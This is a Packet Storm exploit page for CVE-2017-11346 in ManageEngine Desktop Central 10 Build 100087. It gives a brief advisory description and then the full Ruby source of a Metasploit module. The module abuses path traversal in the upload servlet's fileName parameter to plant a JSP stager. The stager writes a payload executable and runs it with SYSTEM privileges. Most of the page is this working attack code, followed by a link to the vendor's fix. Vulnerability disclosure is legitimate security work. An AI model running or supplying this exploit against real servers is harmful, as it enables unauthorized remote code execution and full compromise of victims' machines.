Exploit the possiblities

ManageEngine Desktop Central 10 Build 100087 Remote Code Execution

ManageEngine Desktop Central 10 Build 100087 Remote Code Execution
Posted Jul 24, 2017
Authored by Kacper Szurek

This Metasploit module exploits a vulnerability found in ManageEngine Desktop Central 10. When uploading a file, the FileUploadServlet class does not check the user-controlled fileName parameter. This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. This exploit was successfully tested on version 10, build 100087.

tags | exploit, remote, code execution
MD5 | 386fa43dc27bca19440cf9b03bd04679

ManageEngine Desktop Central 10 Build 100087 Remote Code Execution

Change Mirror Download
# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
# Date: 24-07-2017
# Software Link: https://www.manageengine.com/products/desktop-central/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# CVE: CVE-2017-11346
# Category: remote

1. Description

When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html

2. Proof of Concept

Metasploit module:

https://github.com/kacperszurek/exploits/blob/master/ManageEngineDesktopCentral/manageengine_filename_rce.rb

manageengine_filename_rce.rb:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
uploading a file, the FileUploadServlet class does not check the user-controlled
fileName parameter. This allows a remote attacker to create a malicious file and place
it under a directory that allows server-side scripts to run,
which results in remote code execution under the context of SYSTEM.

This exploit was successfully tested on version 10, build 100087.

Exploit code based on https://www.exploit-db.com/exploits/38982/
},
'License' => MSF_LICENSE,
'Author' => [ 'Kacper Szurek' ],
'References' =>
[
[ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'ManageEngine Desktop Central 10 on Windows', {} ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "July 24 2017",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
Opt::RPORT(8020)
], self.class)
end

def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end

def get_jsp_stager
exe = generate_payload_exe(code: payload.encoded)
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"

register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

{
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
jsp_name: jsp_fname
}
end

def get_build_number(res)
inputs = res.get_hidden_inputs
inputs.first['buildNum']
end

def get_html_title(res)
html = res.body
n = ::Nokogiri::HTML(html)
x = n.xpath('//title').text
end

def check
uri = normalize_uri(target_uri.path, '/configurations.do')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end

build_number = get_build_number(res)
if build_number.to_s.empty?
print_error("Cannot find build number")
else
print_status("Found build number: #{build_number}")
end

html_title = get_html_title(res)

if html_title.to_s.empty?
print_error("Cannot find title")
else
print_status("Found title: #{html_title}")
end

if build_number.to_i <= 100087
return Exploit::CheckCode::Appears
elsif /ManageEngine Desktop Central 10/ === html_title
return Exploit::CheckCode::Detected
end


Exploit::CheckCode::Safe
end

def upload_jsp(stager_info)
uri = normalize_uri(target_uri.path, 'fileupload')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/octet-stream',
'encode_params' => false,
'data' => stager_info[:jsp_payload],
'vars_get' => {
'action' => 'HelpDesk_video',
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
'resourceId' => 1,
'customerId' => 1,
'fileName' => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
}
})

if res.nil?
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
end
end

def exec_jsp(stager_info)
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil?
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
end
end

def exploit
print_status("Creating JSP stager")
stager_info = get_jsp_stager

print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
upload_jsp(stager_info)

print_status("Executing stager...")
exec_jsp(stager_info)
end

end


3. Solution:

https://www.manageengine.com/products/desktop-central/remote-code-execution.html

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close